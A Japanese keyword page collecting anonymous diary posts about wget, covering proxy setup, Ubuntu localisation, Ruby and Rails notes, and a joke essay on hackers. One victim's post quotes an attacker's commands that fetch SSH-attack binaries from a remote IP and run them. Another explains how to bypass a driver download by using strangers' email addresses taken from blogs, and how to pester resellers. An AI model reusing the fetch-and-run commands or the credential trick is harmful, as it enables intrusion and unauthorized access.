はてなキーワード: wgetとは
以前も書いたかもしれないが..間違っていたらご指摘よろしく願います。
もしくはこちらの方のページ http://forums.linuxmint-jp.net/viewtopic.php?f=6&t=859
gsettings org.gnome.system.proxy.https host 'http://....'
gsettings org.gnome.system.proxy.https port 8080
gsettings org.gnome.system.proxy.http host 'http://....'
gsettings org.gnome.system.proxy.http port 8080
gsettings org.gnome.system.proxy.ftp host 'http://....'
gsettings org.gnome.system.proxy.ftp port 8080
/etc/apt/apt.conf (ソフトウエアマネージャなんかも利用している)
こちらの方のページ(若干間違い) http://d.hatena.ne.jp/mrgoofy33/20100726/1280154695
プロトコルに関係なく Acquire::(proto)::proxy "http://...:8080" 。
こちらの方のページ http://www.geocities.jp/gronlijus/skill/linux/linux-wget-proxy.html
または http://qiita.com/HirofumiYashima/items/1015874766bd4afb5e2d
アノニマスの坊や達、こんばんは
僕だよ。
前回の記事
ハッカーになりたい君たちの要望に応えるべく再び黄泉の国から舞い戻ってきたよ。
ハッカー…素晴らしい響きだ。
皆それになりたいと思う。
ハッカーになりたいという若い子は恐らくクラッカーみたいなのになりたがっているだろう。
中高生くらいならばなりたいと思っても、どうなるのか誰も教えてくれない。
親切な人たちが教えてくれるYahoo知恵袋などで『ハッカーになりたいです』とか書くとどうだ?
「貴方のいっているのはクラッカーですね?ハッカーとは別物ですよ」
清く正しい中学生がなんだか気を利かせて、「ホワイトハッカーになりたいです」とか「ハッカーになりたいです違法行為はしません」
などなど、変に気を使っている。
そうだ!なろう!!裏の世界の人間になろう!!そして世界を変えるんだ!!
ハッカーと言っても色々居るわけだ。
撮り鉄とか葬式鉄とか、ウィルスをばらまくハッカーとか、脆弱性を見つけて小銭稼ぐハッカーとか、OS作るハッカーとか、セキュリティポリシー精読して炎上させるハッカーとかね。
ウィルスというのは細胞を持たないが遺伝子をもつ最小の生物なのだが、細胞を持たないため非生物とも言われている構造体だ。非生物らしく結晶化もできる。
宿主となる細胞に増殖をしていく。
そのウィルスがコンピュータ世界に入り込み進化したものがコンピュータウィルスと言われていて、生命の謎を握る存在なのだ。
こう言われてもピンとこないだろうから、君たちにわかりやすいモノで表現するとすると
つまり『電光超人グリッドマン』に出てくる怪獣のようなものだと思ってくれればいい。
ブラック、そう闇と言われるハッカーたちは自分や自分の所属する集団のために違法行為を厭わない連中だ。
プログラマはスキルによってその仕事のスピードは20倍にも40倍にも開きが出ると言われている。
その特A級のハッカーはウィザードと言われるが、そのとおり魔導士のような不思議な力を使う。
しかし謎の力の仕様変更により納期は変わらず工数が9人月になった。
にもかかわらずだ納期は間に合い、しかも!稼働時間も3人月分しか計上されていない。
これは何処かのタイミングで時を止めていると言われている。
たまに勤務管理システム上は有休になっているが、入館ログには出勤の形跡があることがある。
これは休みと仕事の状態が重なり合っている量子力学的な状態を不思議な力で作り出しているのだ。
量子コンピュータは0の状態と1の状態が一つのビットで同時に表現できると言われているが、ブラックハッカーはすでに人間の身でありながら実現しているのだ。
事実量子コンピュータはブラックハッカーの脳を再現する形で実現しようとしている。
量子コンピュータを作っている企業の下請けに大量のブラックハッカーが居るのもそういうわけだ。
ウィルスをばらまくハッカーもいると言ったがブラックハッカーもその能力を持っている。
例えばインフルエンザやエボラ出血熱などを持って出勤するのも彼ら得意技の一つだ。
また、違法行為も厭わない。
どんな違法行為をやっているかは良い子の皆が真似をしてしまっては困るのでとてもここでは言えないがね…
ブラックハッカーたちは暗黒の存在とは言え我々の社会には無くてはならないものになってしまっている。
闇が深い金融業界や、日本国政府もこのブラックハッカーに頼らざるえなくなっているのだ。
おそらくマイナンバーではブラックハッカーのそうそうたる面々が集うことになるだろう。
どうだろう。
なる方法は簡単だ。
「神はXをつかうのか?」という質問について答えようと思う。
良い質問だ。
でも、いつだったか1000年位前の公会議で神はXを使うという事になったんだよ。
裏の人間は黒い画面を好み、黒い画面でいろいろやろうと思っていた。
だが、次第に艦これもやりたくなってきた。
そのうち艦これやりたさに信仰を捨てWindowsに走るものや、過激派組織APPLEに見を投じる者も出てきた。
しかし信仰心の篤い者達は我慢したBashでなんとかやろうと我慢した。
VimでTwitterをやったり、Wgetでテキストサイトを見たりしていた。
だが、XVIDEOSの誘惑には勝てなかったのだ。
その当時のハッカーたちはLinuxでもXVIDEOSを見るシステムを開発しようとした。
それが『XVIDEOS Window System』つまりXだ。
Xは黒い画面とXVIDEOSの間から妥協として生まれたが、そのうちそれでも良いかという空気になりXは流行った。
なんとDMMに登録するとAVの動画も見れるサービスがあることをしることになった。
Linuxでは艦これは出来てもDMMの動画を見ることは出来ない。
悪しきWMVで公開されてDRMがかかっているし、ストリーミングも何故か映らないのだ!!
XVIDEOSの細切れで続きが何処にあるかわからないAVよりも、有料だけども安心して見れるDMMのほうが良いというものが増え
そうやってLinuxは信者数を減らしてしまい今では生きる場所は裏社会のみになってしまったのさ。
そういう経緯があるので、神はXを使っていることになっている。
すこし前、go advent calendarの遅延投稿について話題になりましたね。
アドベントカレンダー今日中あきらめた— ななやん (@7yan00) 2014, 12月 14
ふっざけんなよ、Go Advent Calendar死んでるじゃねえか!「今週中に書きます」とかただのブログじゃねえんだぞ!!— Yoshifumi YAMAGUCHI (@ymotongpoo) 2014, 12月 15
アドベントカレンダー舐めてました、、、— ななやん (@7yan00) 2014, 12月 15
go advent calendar↓
http://qiita.com/advent-calendar/2014/go
私自身、AC自体に責任を持って記事を書けとまでは求めていません。楽しく記事を書くのが一番ですから書けなかったり、遅れてしまっても仕方がないと思います。
ただ、遅延投稿した彼がとった行動が到底理解し難いものでした。
http://qiita.com/7yan00/items/916d5804f0397f9af272
qiita記事を読む限り、自分で書いたとの内容がありますね。
gobrew - 複数バージョンのGoも簡単に管理、切り替え
見た瞬間アレ?と首を傾げてしまいました。
curlとwget どちらかでいいのに2回とも同じことをしています。
2度installしているのですから
高校生だからって許されることではない。— Yoshifumi YAMAGUCHI (@ymotongpoo) 2014, 12月 15
彼は高校生らしいですが、既にある記事をコピペ(元記事の方がまし)したような記事をqiitaに投稿するのは、高校生でも良くないということがわかると思います。おそらくACを書いていないことで煽ったユーザーが炎上してしまったので、急いで記事を書こうとしたが書けなかったのでしょう。
コピペが一部だから問題ないのでは?という意見もありますが、記事の内容と量を確認してほしいと思います。
最後にadvent calendarを必ず書かなくてはいけないなどの責任は無いと私は思います。しかし記事を書けなかったからコピペというのはすこしおかしいのではないでしょうか?論文をコピペして理研に入った人も今話題です、彼の行動力は認めるけれど、将来が心配になりました。
追記
彼がこの記事を確認したのかqiita記事に追記されています。
記事を更新しました— ななやん (@7yan00) 2014, 12月 22
goを書いている他のひとに迷惑がかからないようにと願っています。
go界隈、殺伐としすぎでは。— ちゅーん (@its_out_of_tune) 2014, 12月 22
こちらに丁寧に記載されていて、感謝の限りです。
注意は
$ wget -q http://linuxmint-jp.net/linuxmint-ja-archive-keyring.gpg -O- | sudo apt-key add -
$ sudo wget http://linuxmint-jp.net/sources.list.d/linuxmint-ja.list -O /etc/apt/sources.list.d/linuxmint-ja.list
の、最初の行の -0- は、英大文字のオーかゼロ。 2行目は 英大文字のオー。
※最初-O-をオーでやったら「PGPファイルがみつかりません」とエラーになった。ここを数字のゼロにしたらあっさり"OK"と表示。このエントリに「ゼロです」を書いたものの、上記公式ページをみるとどうもゼロには見えない。念のためにもう1回ゼロでやってみたら「無効なオプション」だってさ(なので投稿内容を直した)。じゃあ「オー」が正しいのかよ?けど、おいら数字のゼロでうまくいったんだぜ。最近、いろいろPCに馬鹿にされてるわ。VirtualBoxにインストールしていたので手打ちで実行させたから、コピペ可能環境ならいちいちこんなことで問題にならなかったのかな?まさかコピペのオーはOKで、手打ちのオーはNG?
export http_proxy="http://<プロキシサーバ>:<ポート>"
さらに
/etc/apt/ のなかに apt.conf というファイルを作成して
Acquire::http::proxy "http://<プロキシサーバ>:<ポート>";
export http_proxy="http://<プロキシサーバ名>:<ポート>"
export https_proxy="http://<プロキシサーバ名>:<ポート>"
などと指定すればOKのようです。
sudo wget のように、スーパーユーザーで利用するときは、当然スーパーユーザーの環境で動作するので、私は
でスーパーユーザーへ根本的にシェルのユーザーを切り替えて、sudo 切り替えなしで wget を利用しました。
すなわち su でスーパーユーザーになってから export http_proxy=... を発行。sudo wget ... ではなくそのまま wget ...。
sudo export
うちの大したことに使ってもいないのに常時稼動で外部公開なサーバがクラックされて以下のコマンドが実行されていた。
sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh >/dev/null 2>/dev/null sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null
((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))
このコマンドを実行するとドイツのサーバからプログラムをダウンロードして実行するみたい。
ちなみに、いろんなサーバにssh接続を試みるプログラムっぽい。
このプログラムたちは2007年の11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。
ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。
どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApacheを更新しなかった自分が悪いと思っている。
「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。
誰か詳しく調べてちょ。
wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download
2.tgzを解凍
3. ./configure 実行
4. make 実行
5. make install 実行
http://blog.mizoshiri.com/archives/93
(Cloud 9 さん ブログ)
社外のサーバはyumばかりかwgetもpingもことごとくだめって、
FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。
Windowsだと、デフォルトゲートウエイもNICのTCP/IP設定画面に含まれているけど
それって考えてみたら、デフォルトゲートウェイはコンピュータ(ホスト)固有だからおかしいよね。
/etc/sysconfig/network-scripts/cfg-eth0
の項目をいじっても社外につながらなかった(/etc/sysconfig/network にGW設定も必要)
ことへのグチですけど。。
というか表題のコマンドを実行するだけであまり説明することもないが。
wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない(まぁ当初からずっとそうだけど)ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。
Wikileaks:Paypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/201012/2010120523.html
(追記 2010-12-06)今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。
Windows で wget ないぜって人はこの辺から落としてこい。
wget(Windows版) - 俺の基地
http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB
Mac OS X は macports、Linux は apt-get やら yum やら使って適当にインストールしてください。
http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)
http://wikileaks.ch/(ミラー?コピーサイト?)
mkdir wikileaks
あと、wikileaks はミラーサイトになってくれるところを募集しているらしいので、更に命知らず(リアル命とセキュリティアタック的な意味で)な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインとサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。
Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial(英語)
http://pastebin.com/6q6E3Z0C
ちゃんと匿名ダイアリーで書いてるし(wikileaks.hatena.ne.jp まだかな!)、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ
今後は岡崎市立中央図書館のウェブサイトをクローラでアクセスしてよいの?
wgetしちゃっていいの?
波乗野郎しちゃっていいの?
岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。
平成十七年(2005)の設計だから想定していなかったって阿呆ですか。
波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。
俺だって十年前から自動巡回も一括取得も当たり前にやってた。
低品質な製品を発注してしまった責任を取りたくないから認められないのか?
三菱から見返りでももらっていたのか?
合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。
今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。
利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。
同時1コネクション限度でアクセス毎に1秒ウェイトは十分すぎるほど配慮してるじゃないか。
頻度も大域も1万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。
この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。
三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。
こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。
せっかく書いたから匿名でのせてみるよ
使い方は
必要なものを gem で取ってくるにはこうすればいいよ
長すぎてelispが消えたから続きがあるよ
@echo off setlocal set WD=%~dp0 cd /d %WD% ruby get_movies.rb ruby get_images.rb ruby create_m3u.rb
user: ユーザID password: パスワード ids_file: ids.txt done_file: ids_done.txt movies_dir: movies log4r_config: pre_config: global: INFO loggers: - name: app type: Log4r::Logger level: INFO outputters: - STDOUT - FILE outputters: - name: STDOUT type: Log4r::StdoutOutputter formatter: type: Log4r::PatternFormatter pattern: "%d [%l] %C - %M" date_pattern: "%H:%M:%S" - name: FILE type: Log4r::FileOutputter filename: "#{LOGDIR}/sangels.log" formatter: type: Log4r::PatternFormatter pattern: "%d [%l] %C - %M" date_pattern: "%Y-%m-%d %H:%M:%S"
require 'fileutils' require 'logger' require 'mechanize' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" require "#{BASEDIR}/sangels" $config = load_config(BASEDIR) prepare_logger(BASEDIR) $log = new_logger("get_movies") WWW::Mechanize.log = new_logger("mechanize") WGet.log = $log class IDFile def initialize(file) @file = file unless File.exist?(@file) Fileutils.touch(@file) end end def ids(contains_comment = nil) File.open(@file) {|io| io.to_a.map {|x| x.chomp }.select {|x| if x.empty? nil elsif contains_comment true else not /^\s*\#/ =~ x end } } end def add(id) ids = ids(true) unless ids.any? {|x| x == id} write(ids + [id]) end end def delete(id) ids = ids(true) if ids.any? {|x| x == id} write(ids - [id]) end end def write(ids) File.open(@file, "w") {|io| ids.each {|x| io.puts x} } end end $log.info("BEGIN #{$0} ================") exit_code = 0 begin ids_file = IDFile.new($config.ids_file) done_file = IDFile.new($config.done_file) movies_dir = $config.movies_dir wget = WGet.new sangels = SAngels.new sangels.login($config.user, $config.password) ids_file.ids.each {|id| begin movies = sangels.movies(id) rescue SAngels::Movies::InvalidMoviesError $log.warn("invalid movie id: #{id}") next end dir = File.expand_path(id, movies_dir) movies.each {|link| wget.retrieve(link.href, dir) } expected = movies.movie_links.map{|x| File.basename(x.href)} actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)} if (expected - actual).empty? done_file.add(id) ids_file.delete(id) end } rescue => e $log.error(e) exit_code = 1 end $log.info("END #{$0} (#{exit_code}) ================") exit exit_code
require 'fileutils' require 'logger' require 'mechanize' require 'ostruct' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" require "#{BASEDIR}/sangels" $config = load_config(BASEDIR) prepare_logger(BASEDIR) $log = new_logger("get_images") WWW::Mechanize.log = new_logger("mechanize") WGet.log = $log $log.info("BEGIN #{$0} ================") exit_code = 0 begin movies_dir = $config.movies_dir sangels = SAngels.new sangels.login($config.user, $config.password) thumbnails = sangels.thumbnails Dir.glob("#{movies_dir}/*").each {|dir| next unless File.directory? dir id = File.basename(dir) url = thumbnails.url(id) unless url $log.warn("#{id} is not found") next end path = File.expand_path("00_thumbnail#{File.extname(url)}", dir) next if File.exist? path $log.info("retrieving #{url}") thumbnail = thumbnails.get_file(id) File.open(path, "wb") {|io| io.write(thumbnail)} } rescue => e $log.error(e) exit_code = 1 end $log.info("END #{$0} (#{exit_code}) ================") exit exit_code
BASEDIR = File.dirname($0) require "#{BASEDIR}/util" $config = load_config(BASEDIR) movies_dir = $config.movies_dir Dir.glob("#{movies_dir}/*") {|dir| next unless File.directory? dir name = File.basename(dir) files = Dir.glob("#{dir}/*.wmv").sort File.open("#{movies_dir}/#{name}.m3u", "w") {|io| files.each {|file| io.puts "#{name}/#{File.basename(file)}" } } File.open("#{dir}/00_movies.m3u", "w") {|io| files.each {|file| io.puts "#{File.basename(file)}" } } }
require 'mechanize' require 'hpricot' BASEDIR = File.dirname($0) require "#{BASEDIR}/util" class SAngels HOST = "real2.s-angels.com" LOGIN_URL = "http://#{HOST}/member/" INFO_URL = "http://#{HOST}/teigaku/item.php" THUMBNAILS_URL = "http://#{HOST}/teigaku/" THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/" def initialize() @agent = WWW::Mechanize.new end def login(user, password) login_form = @agent.get(LOGIN_URL).forms.find {|form| form.fields.any? {|field| field.name == "frmLoginid"} } login_form.frmLoginid = user login_form.frmPw = password @agent.submit(login_form) end def movies(id, no_validate = nil) Movies.new(@agent, id, !no_validate) end def thumbnails Thumbnails.new(@agent) end class Thumbnails def initialize(agent) @agent = agent doc = Hpricot(@agent.get_file(THUMBNAILS_URL)) elems = doc.search("div[@class=realthum]/a") @links = Hash( elems.map {|elem| href = elem["href"] id = $1 if /ID=(.+)/ =~ href url = elem.search("img")[0]["src"] [id, url] }) end def get_file(id) @agent.get_file(url(id)) end def url(id) @links[id] end def exist?(id) url(id) end end class Movies class InvalidMoviesError < StandardError end def initialize(agent, id, no_validate) @agent = agent @id = id if !no_validate && !valid? raise InvalidMoviesError end end def info_page_url "#{INFO_URL}?ID=#{@id}" end def info_page @agent.get(info_page_url) end def movies_page @agent.click(info_page.links.find {|link| /P=10/ =~ link.href}) end def movie_links movies_page.links.select {|link| /wmv$/ =~ link.href }.sort {|a, b| File.basename(a.href) <=> File.basename(b.href) } end def valid? info_page.uri.to_s == info_page_url end def each(&block) orig_links = movie_links orig_links.each {|orig_link| link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)} block.call(link) } end end end
require 'log4r' require 'log4r/yamlconfigurator' require 'singleton' require 'fileutils' require 'ostruct' def Hash(a) Hash[*a.flatten] end def load_config(basedir) OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)}) end def new_logger(name) Log4r::Logger.new("app::#{name}") end def prepare_logger(basedir, logdir = nil) logdir ||= basedir Log4r::YamlConfigurator["LOGDIR"] = logdir Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml") end class NullObject include Singleton def method_missing(message, *arg) NullObject.singleton end end class WGet class << self attr_accessor :log def initialize super @log = NullObject.singleton end end def log self.class.log end def retrieve(url, dir) FileUtils.mkdir_p(dir) file = File.expand_path(File.basename(url), dir) if File.exist?(file) log.info("already retrieved #{url}") return true end tmp = "#{file}.part" log.info("retrieving #{url}") ret = system("wget", "-c", "-O", tmp, url) if ret log.info("retrieving succeeded #{url}") File.rename(tmp, file) else if $? == 0x020000 # Ctrl-C exit($?) else log.error("retrieving failure #{url} (#{$?})") end end return ret end end
http://www.ubuntulinux.jp/products/JA-Localized http://www.ubuntulinux.jp/
http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html
wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -
sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list
sudo apt-get update
sudo apt-get install ubuntu-desktop-ja
sudo apt-get install ubuntu-ja-keyring
sudo apt-get upgrade
sudo apt-get install language-pack-gnome-ja language-pack-ja
sudo apt-get install ipafont ipamonafont lha-sjis
sudo apt-get install scim-anthy
sudo apt-get install scim-bridge im-switch
sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp
なんか呼ばれた気がしなくもない。
ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。
ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ。
たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。
いる人いる?
しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。
shならwgetとsed、perlならWeb::Scraper、gmならgm_xhrか。
xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。
まず、stable の最新版にアップデート。
# apt-get update # apt-get dist-upgrade
そしたら /etc/apt/source.list を編集。
… deb http://www.example.org/pub/ stable main contrib non-free deb-src http://www.example.org/pub/ stable main contrib non-free …
の stable を unstable に変更すれば OK。
そしたらもう一回更新すれば OK。
# apt-get update # apt-get dist-upgrade
おれのこのみだけど。
# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh
下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。
# dpkg-reconfigure locales
# aptitude update # aptitude dist-upgrade
それにしても、転売ヤーさんいっぱい居ますね。
今は第4弾出荷品がいっぱい出品されてるので、だいぶ相場は落ちてますが、それでもまだ倍になる。
とりあえず、私はもう売り抜けたので関係ありませんのでw、
誰が作ったか知らないけど違反申告の方が使えるページを紹介します。
http://jsn-home.net/~friio/search.php
Yahoo!にログインした状態で使ってください。ワンクリックで違反申告できます。
夜中の3時くらいに使ってください。出品者のケータイのメールアドレスにメールが送れますw
PCには専用のアドレスから送られてくるので弾けるのですが、ケータイはなぜか落札通知などと同じアドレスからくるのでdenyできません。
なお、ドライバをダウンロードする際には購入者のメールアドレスが必要なのですが、教えなくてもDLさせることができます。
とあります。
メールアドレスをblogで検索して探す方法ですが、「フリーオ 買った」とかで検索すればいくつか見つかりますので。終わり。
簡単なスクリプトでDLさせる方法は、以下のようなURIにリダイレクトするようなスクリプトを書けばいいです。
http://mailaddress:friio@www.friio.com/download/secure/friio-latest.zip
向こう側の認証機構が単純なので、ユーザー名とパスワードをURIに含めてリクエストさせればOKです。
zipでくれ!みたいに、Wgetを使い、Cronで毎日回して(blog検索で見つけたメールアドレスを使ってw)、
更新があれば保存しておき、ユーザーにはそれをDLさせるとかすればリクエストヘッダには何も情報出ませんし。
Yahoo!なら受け取り後決済を使うと個人情報は一切向こうに渡らないので、完全隠密行動が可能になります。
なお、フリーオを使った感想ですが、30分もののアニメなら、最短で放送終了から45分くらいでニコニコにうpできます。
AviUtilに読ませるために変換するのに5分。エンコに30分ってとこです。後はニコニコのエンコード待ち。
まぁ使いたい人はがんばって公式サイトから買いましょう。俺が言うのもおかしいですがw
前回までのあらすじ
[Ruby]10日目
http://anond.hatelabo.jp/20070925223241
id/passの再発行を申請したら届いたのはなんとブログのid/passだった!!
はたして締め切りに間に合うのか!!
はい、間に合うはずもありませんね。
夏休みの宿題は夏休みがおわってからやる主義の増田ですこんにちは。
一応エントリーだけはしておきました。
サービス開始できてないけどな!
next if :next はcontinueみたいな感じ。この表記に違和感。
unless :こんな書き方にはなにかなじめない。
一行if文が嫌いな増田には余計耐えられない。
@user = params[:id].nil? ? @myuser : User.find(params[:id])
こういう書き方が嫌い。意味わからん。
正直嵌った。
あれこれいじってみたのだけど、そうではなかったようだ。
start_form_tagに :multipart => true がぬけていた。
あと、{}で引数位置指定しないといけないんだと…。
http://techno.hippy.jp/rorwiki/?HowtoUploadFiles http://www.fdiary.net/ml/rails/msg/1375/0/ start_form_tag({:action => 'create'}, :multipart => true)
これは結構やりがちなミスかもしれない。
ちなみに、本のサンプルも間違っていたので余計嵌った。
image_tagで拡張子なしのファイルを読み込むと勝手にpng拡張子がついてくる。
おかげさまで表示されない。
http://mumrik.air-nifty.com/blog/2007/05/16_r185r186_6.html
どうやら画像ファイルの拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。
対処療法でしかない。これだとjpgしかできないので正直どうしたものか。
:content_typeを一応保存しているので後から拡張子をつくることもできるが、
きっとなにかいいものがそのうちできるはず!!というかあるはず!!
→時間がなかったのでうっちゃった
redirect_back_or_defaultの使いどころに悩む。
rubyで画像を描画させているばあい、画像にもどってしまうからだ。
この挙動は最初意味わからなかったぜ。
→時間がなかったので最初の画面に飛ばして誤魔化した
テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう??
例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな
感じになるんだけど、正直気持ち悪い。
@catchcopy_pages, @catchcopy = paginate :catchcopies,
:conditions => contitions_str,
:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',
:joins => 'left outer join users on user_id = users.id ',
:order => 'created_at DESC' ,
:per_page => 10
ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。
belongs_toとかではそこまでやってくれないものなのか。
ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。
パスワードをメールで送ってもらってアクセスできるようになった!
われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。
rcpもscpもうまくできない。
これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、
問題の切り分けがそもそもできないので諦めた。
SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね?
こっち閉じてるもの…。
wgetは生きていたので他のレンタルサーバー経由ファイルを取得。
ちなみにrcpができないのであげっぱなしさ!
が、しかし。unzipがはいってない。
tarで圧縮して、
unzipがないのでzがつかえない。
せっかく
ENV['RAILS_ENV'] ||= 'production'
みたいなymlがあるのに、
dispatch.cgi
dispatch.fcgi
に書かれた
を
#!/usr/bin/ruby
に変更しなきゃいけないのは、何かあれだなと思った。
これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。
ちなみにmysqlのソケットの位置も違うようなので、
/tmp/mysql.sock
↓
socket: /var/run/mysqld/mysqld.sock
をymlに設定。
できればconfファイルのフラグの書き換えだけで乗り換えしたかった。
最近linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。
witch ruby でインストールフォルダを割り出したり、
・・・findというコマンドが思い出せないときは情けなかった。
そうこうしながら設定完了
あれ、動かない・・・500エラーが出てる。
wget経由でdispatch.cgiをそのまま配置したのが原因でした。
中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。
うごいたーー!!
でも、登録すると文字化けしている。
おかしいなぁ……。
SQL>status
DBがlatin1になっていた…。
CREATE DATABASEも権限ないし…。
my.cnfも読み込み専用だった。
alter database XXXX DEFAULT CHARACTER SET utf8;
alter table XXXX DEFAULT CHARACTER SET utf8;
みたいな悪あがきもしてみたけど適わぬ夢。
SET NAMES utf8;
でもコネクションのところあたりでやってあげたいのだけど、
こういうときにRailsみたいなのは何がどこにあるのかわからない。
しょうがないので運営に問合わせしてみました。
ratin1は正直太刀できるきがあまりしない。
8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、
が、どうなのさ・・・。RonR
なんていうか消化不良。
もっとちゃんとしたものつくりたいな……。
~% wget -S --spider http://www.kantei.go.jp/ --23:26:05-- http://www.kantei.go.jp/ => `index.html' www.kantei.go.jp をDNSに問いあわせています... 202.232.58.50, 202.232.190.90 www.kantei.go.jp|202.232.58.50|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... HTTP/1.1 200 OK Date: Wed, 05 Sep 2007 14:26:05 GMT Server: Apache Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT ETag: "84e2-7930-fb9f3000" Accept-Ranges: bytes Content-Length: 31024 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html 長さ: 31,024 (30K) [text/html] 200 OK ~% wget -S --spider http://www.kantei.go.jp/ --23:30:11-- http://www.kantei.go.jp/ => `index.html' www.kantei.go.jp をDNSに問いあわせています... 202.232.190.90, 202.232.58.50 www.kantei.go.jp|202.232.190.90|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... HTTP/1.1 200 OK Server: Zeus/4.2 Date: Wed, 05 Sep 2007 14:30:11 GMT Content-Length: 31024 Accept-Ranges: bytes Content-Type: text/html Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT Connection: Keep-Alive 長さ: 31,024 (30K) [text/html] 200 OK